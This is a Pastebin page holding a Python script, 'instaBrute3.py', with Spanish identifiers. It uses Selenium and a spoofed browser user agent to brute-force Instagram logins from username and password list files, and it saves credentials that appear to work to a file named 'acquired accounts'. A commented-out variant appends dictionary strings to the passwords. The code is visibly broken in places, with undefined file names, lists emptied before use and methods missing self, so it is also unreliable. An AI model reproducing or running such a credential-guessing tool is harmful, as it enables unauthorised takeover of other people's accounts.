Advertisement
Guest User

instaBrute3.py

a guest
Jul 31st, 2016
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.09 KB | None | 0 0
  1. import sys
  2. import optparse
  3. from selenium import webdriver
  4. from selenium.webdriver.common.keys import Keys
  5. from time import sleep
  6.  
  7. profile = webdriver.FirefoxProfile()
  8. profile.set_preference("general.useragent.override", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36")
  9. driver = webdriver.Firefox(profile)
  10. usuario = "reserved"
  11.  
  12. class alpha:
  13.  
  14.     def __init__(self,usuarios,contrasenas,delay):
  15.         self.delay = delay
  16.         usuarios = open(usuarios.txt)
  17.         contrasenas = open(contrasenas.txt)
  18.         usuario = usuarios.readlines()
  19.         contrasena = contrasenas.readlines()
  20.  
  21.     def brute(usuarios,contrasenas,delay):
  22.         for usuario in usuarios:
  23.             usuario = usuarios.readline()
  24.             for contrasena in contrasenas:
  25.                 try:
  26.                     driver.get("http://www.instagram.com/accounts/login")
  27.                     usuario = usuarios.readline()
  28.                     contrasena = contrasena.readline()
  29.                     print ('Intentando con la contrasena: ' + contrasena)
  30.                     elem = driver.find_element_by_name("username")
  31.                     elem.clear()
  32.                     elem.send_keys(usuario)
  33.                     elem = driver.find_element_by_name("password")
  34.                     elem.clear()
  35.                     elem.send_keys(contrasena)  
  36.                     elem.send_keys(Keys.RETURN)
  37.                     sleep(delay)
  38.                     driver.delete_all_cookies()
  39.                     assert (("Login") in driver.title)
  40.                     assert (("Your username or password was incorrect" or "son incorrectos.") not in driver.page_source)
  41.                 except AssertionError:
  42.                     print ('Parece ser que la contrasena de ' +usuario+ ' es: ' + contrasena)
  43.                     try:
  44.                         f = open('cuentasAdqueridas.txt','a')
  45.                     except:
  46.                         f = open('cuentasAdqueridas.txt','w')
  47.                     f.write('username:'+usuario+'\npassword:'+contrasena+'\n')
  48.                     f.close()
  49.                     driver.delete_all_cookies()
  50.  
  51. #   def hardBrute():
  52. #       for usuario in usuarios:
  53. #           usuario = usuarios.readline()
  54. #           for contrasena in contrasenas:
  55. #               contrasena = contrasenas.readline()
  56. #               for cadena in diccionario:
  57. #                   driver.get("http://www.instagram.com/accounts/login")
  58. #                   cadena = diccionario.readline()
  59. #                   print ('Intentando con la contrasena: ' + contrasena)
  60. #                   hardpass = contrasen + diccionario
  61. #                   elem = driver.find_element_by_name("username")
  62. #                   elem.clear()
  63. #                   elem.send_keys(usuario)
  64. #                   elem = driver.find_element_by_name("password")
  65. #                   elem.clear()
  66. #                   elem.send_keys(hardpass)  
  67. #                   elem.send_keys(Keys.RETURN)
  68. #                   sleep(delay)
  69. #                   driver.delete_all_cookies()
  70. #                   assert (("Login") in driver.title)
  71. #                   assert (("Your username or password was incorrect" or "son incorrectos.") not in driver.page_source)
  72. #               except AssertionError:
  73. #                   print ('Parece ser que la contrasena de ' +usuario+ ' es: ' + contrasena)
  74. #                   try:
  75. #                       f = open('cuentasAdqueridas.txt','a')
  76. #                   except:
  77. #                       f = open('cuentasAdqueridas.txt','w')
  78. #                   f.write('username:'+usuario+'\npassword:'+hardpass+'\n')
  79. #                   f.close()
  80. #                   driver.delete_all_cookies()
  81.  
  82.     usuarios = open('usuarios.txt','r')
  83.     contrasenas = open('contrasenas.txt','r')
  84.     usuarios = []
  85.     contrasenas = []
  86.     delay = 5
  87.     driver = webdriver.Firefox(profile)
  88.     brute(usuarios,contrasenas,delay)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement